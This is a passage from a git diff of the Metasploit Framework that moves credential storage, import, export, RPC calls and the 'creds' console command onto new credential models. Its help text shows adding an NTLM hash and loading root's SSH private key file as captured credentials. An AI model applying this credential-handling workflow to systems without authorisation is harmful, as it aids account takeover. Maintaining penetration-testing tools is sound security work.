= {} - creds["text"] = {} - myworkspace.each_cred do |cred| - next unless host_allowed?(cred.service.host.address) - # Skip anything that's not associated with a specific host and port - next unless (cred.service && cred.service.host && cred.service.host.address && cred.service.port) - # TODO: Toggle active/all - next unless cred.active - svc = "%s:%d/%s (%s)" % [cred.service.host.address,cred.service.port,cred.service.proto,cred.service.name] - case cred.ptype - when /^password/ - ptype = "text" - else - ptype = cred.ptype - end - creds[ptype] ||= {} - creds[ptype][svc] ||= [] - creds[ptype][svc] << cred - end - return creds - end - def to_xml_file(path, &block) @@ -205,7 +49,7 @@ class Export report_file = ::File.open(path, "wb") report_file.write %Q|\n| - report_file.write %Q|\n| + report_file.write %Q|\n| report_file.write %Q|\n| yield(:status, "start", "hosts") if block_given? @@ -226,12 +70,6 @@ class Export extract_service_info(report_file) report_file.write %Q|\n| - yield(:status, "start", "credentials") if block_given? - report_file.write %Q|\n| - report_file.flush - extract_credential_info(report_file) - report_file.write %Q|\n| - yield(:status, "start", "web sites") if block_given? report_file.write %Q|\n| report_file.flush @@ -263,7 +101,7 @@ class Export report_file.write %Q|\n| - report_file.write %Q|\n| + report_file.write %Q|\n| report_file.flush report_file.close @@ -277,7 +115,6 @@ class Export extract_host_entries extract_event_entries extract_service_entries - extract_credential_entries extract_note_entries extract_vuln_entries extract_web_entries @@ -306,8 +143,7 @@ class Export # Extracts all credentials from a project, storing them in @creds def extract_credential_entries - @creds = [] - myworkspace.each_cred {|cred| @creds << cred} + @creds = Metasploit::Credential::Core.with_logins.with_public.with_private.workspace_id(myworkspace.id) end # Extracts all notes from a project, storing them in @notes @@ -346,14 +182,18 @@ class Export end end - def create_xml_element(key,value) + def create_xml_element(key,value,skip_encoding=false) tag = key.gsub("_","-") el = REXML::Element.new(tag) if value - data = marshalize(value) - data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding') - data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } - el << REXML::Text.new(data) + unless skip_encoding + data = marshalize(value) + data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding') + data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } + el << REXML::Text.new(data) + else + el << value + end end return el end @@ -572,22 +412,6 @@ class Export end report_file.write(" \n") - # Credential sub-elements - report_file.write(" \n") - @creds.each do |cred| - next unless cred.service.host.id == host_id - report_file.write(" \n") - report_file.write(" #{create_xml_element("port",cred.service.port)}\n") - report_file.write(" #{create_xml_element("sname",cred.service.name)}\n") - cred.attributes.each_pair do |k,v| - next if k.strip =~ /id$/ - el = create_xml_element(k,v) - report_file.write(" #{el}\n") - end - report_file.write(" \n") - end - report_file.write(" \n") - report_file.write(" \n") end report_file.flush @@ -621,19 +445,6 @@ class Export report_file.flush end - # Extract credential data from @creds - def extract_credential_info(report_file) - @creds.each do |c| - report_file.write(" \n") - c.attributes.each_pair do |k,v| - cr = create_xml_element(k,v) - report_file.write(" #{cr}\n") - end - report_file.write(" \n") - report_file.write("\n") - end - report_file.flush - end # Extract service data from @services def extract_service_info(report_file) diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index bc38515141..96079cd3d8 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -22,6 +22,13 @@ class DBManager include Msf::DBManager::Migration include Msf::Framework::Offspring + # + # CONSTANTS + # + + # The adapter to use to establish database connection. + ADAPTER = 'postgresql' + # Mainly, it's Ruby 1.9.1 that cause a lot of problems now, along with Ruby 1.8.6. # Ruby 1.8.7 actually seems okay, but why tempt fate? Let's say 1.9.3 and beyond. def warn_about_rubies @@ -34,16 +41,19 @@ class DBManager # Returns true if we are ready to load/store data def active - return false if not @usable - # We have established a connection, some connection is active, and we have run migrations - (ActiveRecord::Base.connected? && ActiveRecord::Base.connection_pool.connected? && migrated)# rescue false + # usable and migrated a just Boolean attributes, so check those first because they don't actually contact the + # database. + usable && migrated && connection_established? end # Returns true if the prerequisites have been installed attr_accessor :usable # Returns the list of usable database drivers - attr_accessor :drivers + def drivers + @drivers ||= [] + end + attr_writer :drivers # Returns the active driver attr_accessor :driver @@ -86,9 +96,7 @@ class DBManager # Database drivers can reset our KCODE, do not let them $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ - require "active_record" - - initialize_metasploit_data_models + add_rails_engine_migration_paths @usable = true @@ -98,22 +106,10 @@ class DBManager return false end - # Only include Mdm if we're not using Metasploit commercial versions - # If Mdm::Host is defined, the dynamically created classes - # are already in the object space - begin - unless defined? Mdm::Host - MetasploitDataModels.require_models - end - rescue NameError => e - warn_about_rubies - raise e - end - # # Determine what drivers are available # - initialize_drivers + initialize_adapter # # Instantiate the database sink @@ -123,53 +119,69 @@ class DBManager true end + # Checks if the spec passed to `ActiveRecord::Base.establish_connection` can connect to the database. + # + # @return [true] if an active connection can be made to the database using the current config. + # @return [false] if an active connection cannot be made to the database. + def connection_established? + begin + # use with_connection so the connection doesn't stay pinned to the thread. + ActiveRecord::Base.connection_pool.with_connection { + ActiveRecord::Base.connection.active? + } + rescue ActiveRecord::ConnectionNotEstablished, PG::ConnectionBad => error + elog("Connection not established: #{error.class} #{error}:\n#{error.backtrace.join("\n")}") + + false + end + end + # # Scan through available drivers # - def initialize_drivers - self.drivers = [] - tdrivers = %W{ postgresql } - tdrivers.each do |driver| + def initialize_adapter + ActiveRecord::Base.default_timezone = :utc + + if connection_established? && ActiveRecord::Base.connection_config[:adapter] == ADAPTER + dlog("Already established connection to #{ADAPTER}, so reusing active connection.") + self.drivers << ADAPTER + self.driver = ADAPTER + else begin - ActiveRecord::Base.default_timezone = :utc - ActiveRecord::Base.establish_connection(:adapter => driver) - if(self.respond_to?("driver_check_#{driver}")) - self.send("driver_check_#{driver}") - end + ActiveRecord::Base.establish_connection(adapter: ADAPTER) ActiveRecord::Base.remove_connection - self.drivers << driver - rescue ::Exception + rescue Exception => error + @adapter_error = error + else + self.drivers << ADAPTER + self.driver = ADAPTER end end - - if(not self.drivers.empty?) - self.driver = self.drivers[0] - end - - # Database drivers can reset our KCODE, do not let them - $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ end # Loads Metasploit Data Models and adds its migrations to migrations paths. # # @return [void] - def initialize_metasploit_data_models - # Provide access to ActiveRecord models shared w/ commercial versions - require "metasploit_data_models" + def add_rails_engine_migration_paths + unless defined? ActiveRecord + fail "Bundle installed '--without #{Bundler.settings.without.join(' ')}'. To clear the without option do " \ + "`bundle install --without ''` (the --without flag with an empty string) or `rm -rf .bundle` to remove " \ + "the .bundle/config manually and then `bundle install`" + end - metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join( - 'db', - 'migrate' - ) - metasploit_data_model_migrations_path = metasploit_data_model_migrations_pathname.to_s + Rails.application.railties.engines.each do |engine| + migrations_paths = engine.paths['db/migrate'].existent_directories - # Since ActiveRecord::Migrator.migrations_paths can persist between - # instances of Msf::DBManager, such as in specs, - # metasploit_data_models_migrations_path may already be part of - # migrations_paths, in which case it should not be added or multiple - # migrations with the same version number errors will occur. - unless ActiveRecord::Migrator.migrations_paths.include? metasploit_data_model_migrations_path - ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_path + migrations_paths.each do |migrations_path| + # Since ActiveRecord::Migrator.migrations_paths can persist between + # instances of Msf::DBManager, such as in specs, + # migrations_path may already be part of + # migrations_paths, in which case it should not be added or multiple + # migrations with the same version number errors will occur. + unless ActiveRecord::Migrator.migrations_paths.include? migrations_path + ActiveRecord::Migrator.migrations_paths << migrations_path + end + end end end @@ -208,25 +220,22 @@ class DBManager begin self.migrated = false - create_db(nopts) - # Configure the database adapter - ActiveRecord::Base.establish_connection(nopts) + # Check ActiveRecord::Base was already connected by Rails::Application.initialize! or some other API. + unless connection_established? + create_db(nopts) - # Migrate the database, if needed - migrate - - # Set the default workspace - framework.db.workspace = framework.db.default_workspace - - # Flag that migration has completed - self.migrated = true + # Configure the database adapter + ActiveRecord::Base.establish_connection(nopts) + end rescue ::Exception => e self.error = e elog("DB.connect threw an exception: #{e}") dlog("Call stack: #{$@.join"\n"}", LEV_1) return false ensure + after_establish_connection + # Database drivers can reset our KCODE, do not let them $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ end @@ -234,6 +243,29 @@ class DBManager true end + # Finishes {#connect} after `ActiveRecord::Base.establish_connection` has succeeded by {#migrate migrating database} + # and setting {#workspace}. + # + # @return [void] + def after_establish_connection + self.migrated = false + + begin + # Migrate the database, if needed + migrate + + # Set the default workspace + framework.db.workspace = framework.db.default_workspace + rescue ::Exception => exception + self.error = exception + elog("DB.connect threw an exception: #{exception}") + dlog("Call stack: #{exception.backtrace.join("\n")}", LEV_1) + else + # Flag that migration has completed + self.migrated = true + end + end + # # Attempt to create the database # @@ -259,7 +291,13 @@ class DBManager errstr = e.to_s if errstr =~ /does not exist/i or errstr =~ /Unknown database/ ilog("Database doesn't exist \"#{opts['database']}\", attempting to create it.") - ActiveRecord::Base.establish_connection(opts.merge('database' => nil)) + ActiveRecord::Base.establish_connection( + opts.merge( + 'database' => 'postgres', + 'schema_search_path' => 'public' + ) + ) + ActiveRecord::Base.connection.create_database(opts['database']) else ilog("Trying to continue despite failed database creation: #{e}") diff --git a/lib/msf/core/db_manager/import_msf_xml.rb b/lib/msf/core/db_manager/import_msf_xml.rb index 8d70b5e1d0..68e712468d 100644 --- a/lib/msf/core/db_manager/import_msf_xml.rb +++ b/lib/msf/core/db_manager/import_msf_xml.rb @@ -13,40 +13,40 @@ module Msf # Elements that can be treated as text (i.e. do not need to be # deserialized) in {#import_msf_web_page_element} MSF_WEB_PAGE_TEXT_ELEMENT_NAMES = [ - 'auth', - 'body', - 'code', - 'cookie', - 'ctype', - 'location', - 'mtime' + 'auth', + 'body', + 'code', + 'cookie', + 'ctype', + 'location', + 'mtime' ] # Elements that can be treated as text (i.e. do not need to be # deserialized) in {#import_msf_web_element}. MSF_WEB_TEXT_ELEMENT_NAMES = [ - 'created-at', - 'host', - 'path', - 'port', - 'query', - 'ssl', - 'updated-at', - 'vhost' + 'created-at', + 'host', + 'path', + 'port', + 'query', + 'ssl', + 'updated-at', + 'vhost' ] # Elements that can be treated as text (i.e. do not need to be # deserialized) in {#import_msf_web_vuln_element}. MSF_WEB_VULN_TEXT_ELEMENT_NAMES = [ - 'blame', - 'category', - 'confidence', - 'description', - 'method', - 'name', - 'pname', - 'proof', - 'risk' + 'blame', + 'category', + 'confidence', + 'description', + 'method', + 'name', + 'pname', + 'proof', + 'risk' ] # @@ -80,8 +80,8 @@ module Msf # FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/47128407 unserialized_params = unserialize_object( - element.elements['params'], - options[:allow_yaml] + element.elements['params'], + options[:allow_yaml] ) info[:params] = nils_for_nulls(unserialized_params) @@ -127,8 +127,8 @@ module Msf # FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/47128407 unserialized_headers = unserialize_object( - element.elements['headers'], - options[:allow_yaml] + element.elements['headers'], + options[:allow_yaml] ) info[:headers] = nils_for_nulls(unserialized_headers) @@ -174,8 +174,8 @@ module Msf # FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/47128407 unserialized_params = unserialize_object( - element.elements['params'], - options[:allow_yaml] + element.elements['params'], + options[:allow_yaml] ) info[:params] = nils_for_nulls(unserialized_params) @@ -347,34 +347,40 @@ module Msf end end - host.elements.each('creds/cred') do |cred| - cred_data = {} - cred_data[:workspace] = wspace - cred_data[:host] = hobj - %W{port ptype sname proto proof active user pass}.each {|datum| - if cred.elements[datum].respond_to? :text - cred_data[datum.intern] = nils_for_nulls(cred.elements[datum].text.to_s.strip) + ## Handle old-style (pre 4.10) XML files + if btag == "MetasploitV4" + if host.elements['creds'].present? + unless host.elements['creds'].elements.empty? + origin = Metasploit::Credential::Origin::Import.create(filename: "console-import-#{Time.now.to_i}") + + host.elements.each('creds/cred') do |cred| + username = cred.elements['user'].try(:text) + proto = cred.elements['proto'].try(:text) + sname = cred.elements['sname'].try(:text) + port = cred.elements['port'].try(:text) + + # Handle blanks by resetting to sane default values + proto = "tcp" if proto.blank? + pass = cred.elements['pass'].try(:text) + pass = "" if pass == "*MASKED*" + + private = create_credential_private(private_data: pass, private_type: :password) + public = create_credential_public(username: username) + core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id) + + create_credential_login(core: core, + workspace_id: wspace.id, + address: hobj.address, + port: port, + protocol: proto, + service_name: sname, + status: Metasploit::Model::Login::Status::UNTRIED) + end end - } - %W{created-at updated-at}.each { |datum| - if cred.elements[datum].respond_to? :text - cred_data[datum.gsub("-","_")] = nils_for_nulls(cred.elements[datum].text.to_s.strip) - end - } - %W{source-type source-id}.each { |datum| - if cred.elements[datum].respond_to? :text - cred_data[datum.gsub("-","_").intern] = nils_for_nulls(cred.elements[datum].text.to_s.strip) - end - } - if cred_data[:pass] == "*MASKED*" - cred_data[:pass] = "" - cred_data[:active] = false - elsif cred_data[:pass] == "*BLANK PASSWORD*" - cred_data[:pass] = "" end - report_cred(cred_data) end + host.elements.each('sessions/session') do |sess| sess_id = nils_for_nulls(sess.elements["id"].text.to_s.strip.to_i) sess_data = {} @@ -399,9 +405,9 @@ module Msf end existing_session = get_session( - :workspace => sess_data[:host].workspace, - :addr => sess_data[:host].address, - :time => sess_data[:opened_at] + :workspace => sess_data[:host].workspace, + :addr => sess_data[:host].address, + :time => sess_data[:opened_at] ) this_session = existing_session || report_session(sess_data) next if existing_session @@ -423,6 +429,7 @@ module Msf end end + # Import web sites doc.elements.each("/#{btag}/web_sites/web_site") do |web| info = {} @@ -450,11 +457,11 @@ module Msf %W{page form vuln}.each do |wtype| doc.elements.each("/#{btag}/web_#{wtype}s/web_#{wtype}") do |element| send( - "import_msf_web_#{wtype}_element", - element, - :allow_yaml => allow_yaml, - :workspace => wspace, - &block + "import_msf_web_#{wtype}_element", + element, + :allow_yaml => allow_yaml, + :workspace => wspace, + &block ) end end @@ -474,9 +481,9 @@ module Msf # @raise [Msf::DBImportError] if unsupported format def check_msf_xml_version!(document) metadata = { - # FIXME https://www.pivotaltracker.com/story/show/47128407 - :allow_yaml => false, - :root_tag => nil + # FIXME https://www.pivotaltracker.com/story/show/47128407 + :allow_yaml => false, + :root_tag => nil } if document.elements['MetasploitExpressV1'] @@ -493,6 +500,8 @@ module Msf metadata[:root_tag] = 'MetasploitExpressV4' elsif document.elements['MetasploitV4'] metadata[:root_tag] = 'MetasploitV4' + elsif document.elements['MetasploitV5'] + metadata[:root_tag] = 'MetasploitV5' end unless metadata[:root_tag] @@ -580,3 +589,4 @@ module Msf end end end + diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 9e738da248..230c53cdbf 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -2,6 +2,7 @@ require 'rex/exploitation/cmdstager' require 'msf/core/exploit/exe' +require 'msf/base/config' module Msf diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 120f8693e2..70c7ae6883 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'metasploit/framework/version' require 'msf/core' require 'msf/util' @@ -16,10 +17,10 @@ class Framework # Versioning information # - Major = 4 - Minor = 9 - Point = 3 - Release = "-dev" + Major = Metasploit::Framework::Version::MAJOR + Minor = Metasploit::Framework::Version::MINOR + Point = Metasploit::Framework::Version::PATCH + Release = "-#{Metasploit::Framework::Version::PRERELEASE}" if(Point) Version = "#{Major}.#{Minor}.#{Point}#{Release}" @@ -41,14 +42,6 @@ class Framework # EICAR canary EICARCorrupted = ::Msf::Util::EXE.is_eicar_corrupted? - # API Version - APIMajor = 1 - APIMinor = 0 - - # Base/API Version - VersionCore = Major + (Minor / 10.0) - VersionAPI = APIMajor + (APIMinor / 10.0) - # # Mixin meant to be included into all classes that can have instances that # should be tied to the framework, such as modules. diff --git a/lib/msf/core/modules/namespace.rb b/lib/msf/core/modules/namespace.rb index 8555dd8fec..4eb60c3e52 100644 --- a/lib/msf/core/modules/namespace.rb +++ b/lib/msf/core/modules/namespace.rb @@ -1,3 +1,6 @@ +require 'metasploit/framework/api/version' +require 'metasploit/framework/core/version' + # Concern for behavior that all namespace modules that wrap Msf::Modules must support like version checking and # grabbing the version specific-Metasploit* class. module Msf::Modules::Namespace @@ -54,11 +57,11 @@ module Msf::Modules::Namespace def version_compatible!(module_path, module_reference_name) if const_defined?(:RequiredVersions) required_versions = const_get(:RequiredVersions) - minimum_core_version = required_versions[0] - minimum_api_version = required_versions[1] + minimum_core_version = Gem::Version.new(required_versions[0].to_s) + minimum_api_version = Gem::Version.new(required_versions[1].to_s) - if (minimum_core_version > ::Msf::Framework::VersionCore or - minimum_api_version > ::Msf::Framework::VersionAPI) + if (minimum_core_version > Metasploit::Framework::Core::GEM_VERSION || + minimum_api_version > Metasploit::Framework::API::GEM_VERSION) raise Msf::Modules::VersionCompatibilityError.new( :module_path => module_path, :module_reference_name => module_reference_name, diff --git a/lib/msf/core/post.rb b/lib/msf/core/post.rb index 0e37cfb6dd..cf45672d08 100644 --- a/lib/msf/core/post.rb +++ b/lib/msf/core/post.rb @@ -46,4 +46,17 @@ class Msf::Post < Msf::Module mod end + + # This method returns the ID of the {Mdm::Session} that the post module + # is currently running agaist. + # + # @return [NilClass] if there is no database record for the session + # @return [Fixnum] if there is a database record to get the id for + def session_db_id + if session.db_record + session.db_record.id + else + nil + end + end end diff --git a/lib/msf/core/rpc/v10/rpc_db.rb b/lib/msf/core/rpc/v10/rpc_db.rb index 1691d5a9f0..32da0c8829 100644 --- a/lib/msf/core/rpc/v10/rpc_db.rb +++ b/lib/msf/core/rpc/v10/rpc_db.rb @@ -4,6 +4,9 @@ module RPC class RPC_Db < RPC_Base private + + include Metasploit::Credential::Creation + def db self.framework.db.active end @@ -15,6 +18,21 @@ private self.framework.db.workspace end + def fix_cred_options(opts) + new_opts = fix_options(opts) + + # Convert some of are data back to symbols + if new_opts[:origin_type] + new_opts[:origin_type] = new_opts[:origin_type].to_sym + end + + if new_opts[:private_type] + new_opts[:private_type] = new_opts[:private_type].to_sym + end + + new_opts + end + def fix_options(opts) newopts = {} opts.each do |k,v| @@ -88,6 +106,40 @@ private public + def rpc_create_cracked_credential(xopts) + opts = fix_cred_options(xopts) + create_credential(opts) + end + + def rpc_create_credential(xopts) + opts = fix_cred_options(xopts) + core = create_credential(opts) + + ret = { + username: core.public.try(:username), + private: core.private.try(:data), + private_type: core.private.try(:type), + realm_value: core.realm.try(:value), + realm_key: core.realm.try(:key) + } + + if opts[:last_attempted_at] && opts[:status] + opts[:core] = core + opts[:last_attempted_at] = opts[:last_attempted_at].to_datetime + login = create_credential_login(opts) + + ret[:host] = login.service.host.address, + ret[:sname] = login.service.name + ret[:status] = login.status + end + ret + end + + def rpc_invalidate_login(xopts) + opts = fix_cred_options(xopts) + invalidate_login(opts) + end + def rpc_hosts(xopts) ::ActiveRecord::Base.connection_pool.with_connection { opts, wspace = init_db_opts_workspace(xopts) @@ -490,33 +542,6 @@ public } end - def rpc_report_auth_info(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - res = self.framework.db.report_auth_info(opts) - return { :result => 'success' } if(res) - { :result => 'failed' } - } - end - - def rpc_get_auth_info(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - ret = {} - ret[:auth_info] = [] - # XXX: This method doesn't exist... - ai = self.framework.db.get_auth_info(opts) - ai.each do |i| - info = {} - i.each do |k,v| - info[k.to_sym] = v - end - ret[:auth_info] << info - end - ret - } - end - def rpc_get_ref(name) ::ActiveRecord::Base.connection_pool.with_connection { db_check @@ -828,42 +853,6 @@ public } end - # requires host, port, user, pass, ptype, and active - def rpc_report_cred(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - res = framework.db.find_or_create_cred(opts) - return { :result => 'success' } if res - { :result => 'failed' } - } - end - - #right now workspace is the only option supported - def rpc_creds(xopts) - ::ActiveRecord::Base.connection_pool.with_connection { - opts, wspace = init_db_opts_workspace(xopts) - limit = opts.delete(:limit) || 100 - offset = opts.delete(:offset) || 0 - - ret = {} - ret[:creds] = [] - ::Mdm::Cred.find(:all, :include => {:service => :host}, :conditions => ["hosts.workspace_id = ?", - framework.db.workspace.id ], :limit => limit, :offset => offset).each do |c| - cred = {} - cred[:host] = c.service.host.address if(c.service.host) - cred[:updated_at] = c.updated_at.to_i - cred[:port] = c.service.port - cred[:proto] = c.service.proto - cred[:sname] = c.service.name - cred[:type] = c.ptype - cred[:user] = c.user - cred[:pass] = c.pass - cred[:active] = c.active - ret[:creds] << cred - end - ret - } - end def rpc_import_data(xopts) ::ActiveRecord::Base.connection_pool.with_connection { @@ -1046,7 +1035,7 @@ public end cdb = "" - if ::ActiveRecord::Base.connected? + if framework.db.connection_established? ::ActiveRecord::Base.connection_pool.with_connection { |conn| if conn.respond_to? :current_database cdb = conn.current_database diff --git a/lib/msf/core/thread_manager.rb b/lib/msf/core/thread_manager.rb index 2dd6f2b353..abf2aa5c48 100644 --- a/lib/msf/core/thread_manager.rb +++ b/lib/msf/core/thread_manager.rb @@ -99,7 +99,12 @@ class ThreadManager < Array begin argv.shift.call(*argv) rescue ::Exception => e - elog("thread exception: #{::Thread.current[:tm_name]} critical=#{::Thread.current[:tm_crit]} error:#{e.class} #{e} source:#{::Thread.current[:tm_call].inspect}") + elog( + "thread exception: #{::Thread.current[:tm_name]} critical=#{::Thread.current[:tm_crit]} " \ + "error: #{e.class} #{e}\n" \ + " source:\n" \ + " #{::Thread.current[:tm_call].join "\n "}" + ) elog("Call Stack\n#{e.backtrace.join("\n")}") raise e ensure diff --git a/lib/msf/sanity.rb b/lib/msf/sanity.rb index b2c585bd7c..0a5506fa03 100644 --- a/lib/msf/sanity.rb +++ b/lib/msf/sanity.rb @@ -33,18 +33,6 @@ if (RUBY_VERSION =~ /^1\.9\.1/) $stderr.puts "*** Ruby 1.9.1 is not supported, please upgrade to Ruby 1.9.3 or newer." end -if(RUBY_VERSION =~ /^(1\.9|2\.0)\./) - # Load rubygems before changing default_internal, otherwise we may get - # Encoding::UndefinedConversionError as the gemspec files are loaded - require 'rubygems' - Gem::Version # trigger Rubygems to fully load - - # Force binary encoding for Ruby versions that support it - if(Object.const_defined?('Encoding') and Encoding.respond_to?('default_external=')) - Encoding.default_external = Encoding.default_internal = "binary" - end -end - if(RUBY_PLATFORM == 'java') require 'socket' s = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index f507f16a28..28e7e829fd 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -408,7 +408,7 @@ class Core avdwarn = nil banner_trailers = { - :version => "%yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr", + :version => "%yelmetasploit v#{Msf::Framework::Version} [core:#{Metasploit::Framework::Core::GEM_VERSION} api:#{Metasploit::Framework::API::GEM_VERSION}]%clr", :exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post", :pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops", :free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp", diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index c10fa5b899..598d64ef8d 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -18,6 +18,8 @@ class Db # TODO: Not thrilled about including this entire module for just store_local. include Msf::Auxiliary::Report + include Metasploit::Credential::Creation + # # The dispatcher's name. # @@ -217,7 +219,6 @@ class Db return unless active? ::ActiveRecord::Base.connection_pool.with_connection { onlyup = false - host_search = nil set_rhosts = false mode = :search delete_count = 0 @@ -580,7 +581,6 @@ class Db return end - mode = :search while (arg = args.shift) case arg #when "-a","--add" @@ -648,73 +648,125 @@ class Db end def cmd_creds_help - print_line "Usage: creds [addr range]" - print_line "Usage: creds -a -p -t -u -P " print_line - print_line " -a,--add Add creds to the given addresses instead of listing" - print_line " -d,--delete Delete the creds instead of searching" - print_line " -h,--help Show this help information" - print_line " -o Send output to a file in csv format" - print_line " -p,--port List creds matching this port spec" - print_line " -s List creds matching these service names" - print_line " -t,--type Add a cred of this type (only with -a). Default: password" - print_line " -u,--user Add a cred for this user (only with -a). Default: blank" - print_line " -P,--password Add a cred with this password (only with -a). Default: blank" - print_line " -R,--rhosts Set RHOSTS from the results of the search" - print_line " -S,--search Search string to filter by" - print_line " -c,--columns Columns of interest" + print_line "With no sub-command, list credentials. If an address range is" + print_line "given, show only credentials with logins on hosts within that" + print_line "range." print_line - print_line "Examples:" - print_line " creds # Default, returns all active credentials" - print_line " creds all # Returns all credentials active or not" + print_line "Usage - Listing credentials:" + print_line " creds [filter options] [address range]" + print_line + print_line "Usage - Adding credentials:" + print_line " creds add-ntlm [domain]" + print_line " creds add-password [realm] [realm-type]" + print_line " creds add-ssh-key [realm-type]" + print_line "Where [realm type] can be one of:" + Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short, description| + print_line " #{short} - #{description}" + end + + print_line + print_line "General options" + print_line " -h,--help Show this help information" + print_line + print_line "Filter options for listing" + print_line " -P,--password List passwords that match this regex" + print_line " -p,--port List creds with logins on services matching this port spec" + print_line " -s List creds matching comma-separated service names" + print_line " -u,--user List users that match this regex" + + print_line + print_line "Examples, listing:" + print_line " creds # Default, returns all credentials" print_line " creds 1.2.3.4/24 # nmap host specification" print_line " creds -p 22-25,445 # nmap port specification" - print_line " creds 10.1.*.* -s ssh,smb all" + print_line " creds -s ssh,smb # All creds associated with a login on SSH or SMB services" + print_line + + print_line + print_line "Examples, adding:" + print_line " # Add a user with an NTLMHash" + print_line " creds add-ntlm alice 5cfe4c82d9ab8c66590f5b47cd6690f1:978a2e2e1dec9804c6b936f254727f9a" + print_line " # Add a user with a blank password and a domain" + print_line " creds add-password bob '' contosso" + print_line " # Add a user with an SSH key" + print_line " creds add-ssh-key root /root/.ssh/id_rsa" print_line end - # - # Can return return active or all, on a certain host or range, on a - # certain port or range, and/or on a service name. - # - def cmd_creds(*args) - return unless active? - ::ActiveRecord::Base.connection_pool.with_connection { - - search_param = nil - inactive_ok = false - type = "password" - - set_rhosts = false - output_file = nil - - host_ranges = [] - port_ranges = [] - rhosts = [] - svcs = [] - delete_count = 0 - search_term = nil - - cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] - user = nil - - # Short-circuit help - if args.delete "-h" - cmd_creds_help - return + # @param private_type [Symbol] See `Metasploit::Credential::Creation#create_credential` + # @param username [String] + # @param password [String] + # @param realm [String] + # @param realm_type [String] A key in `Metasploit::Model::Realm::Key::SHORT_NAMES` + def creds_add(private_type, username, password=nil, realm=nil, realm_type=nil) + cred_data = { + username: username, + private_data: password, + private_type: private_type, + workspace_id: framework.db.workspace, + origin_type: :import, + filename: "msfconsole" + } + if realm.present? + if realm_type.present? + realm_key = Metasploit::Model::Realm::Key::SHORT_NAMES[realm_type] + if realm_key.nil? + valid = Metasploit::Model::Realm::Key::SHORT_NAMES.keys.map{|n|"'#{n}'"}.join(", ") + print_error("Invalid realm type: #{realm_type}. Valid values: #{valid}") + return + end + end + realm_key ||= Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + cred_data.merge!( + realm_value: realm, + realm_key: realm_key + ) end - mode = :search + begin + create_credential(cred_data) + rescue ActiveRecord::RecordInvalid => e + print_error("Failed to add #{private_type}: #{e}") + end + end + + def creds_add_non_replayable_hash(*args) + creds_add(:non_replayable_hash, *args) + end + + def creds_add_ntlm_hash(*args) + creds_add(:ntlm_hash, *args) + end + + def creds_add_password(*args) + creds_add(:password, *args) + end + + def creds_add_ssh_key(username, *args) + key_file, realm = args + begin + key_data = File.read(key_file) + rescue ::Errno::EACCES, ::Errno::ENOENT => e + print_error("Failed to add ssh key: #{e}") + else + creds_add(:ssh_key, username, key_data, realm) + end + end + + def creds_search(*args) + host_ranges = [] + port_ranges = [] + svcs = [] + + #cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] + cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ] + user = nil + delete_count = 0 + while (arg = args.shift) case arg - when "-a","--add" - mode = :add - when "-d" - mode = :delete - when "-h" - cmd_creds_help - return when '-o' output_file = args.shift if (!output_file) @@ -745,32 +797,14 @@ class Db print_error("Argument required for -P") return end - when "-R" - set_rhosts = true - when '-S', '--search' - search_term = /#{args.shift}/nmi when "-u","--user" user = args.shift if (!user) print_error("Argument required for -u") return end - when '-c','--columns' - columns = args.shift - unless columns - print_error("Argument required for -c, you may use any of #{cred_table_columns.join(',')}") - return - end - cred_table_columns = columns.split(/[\s]*,[\s]*/).select do |col| - cred_table_columns.include?(col) - end - if cred_table_columns.empty? - print_error("Argument -c requires valid columns") - return - end - when "all" - # The user wants inactive passwords, too - inactive_ok = true + when "-d" + mode = 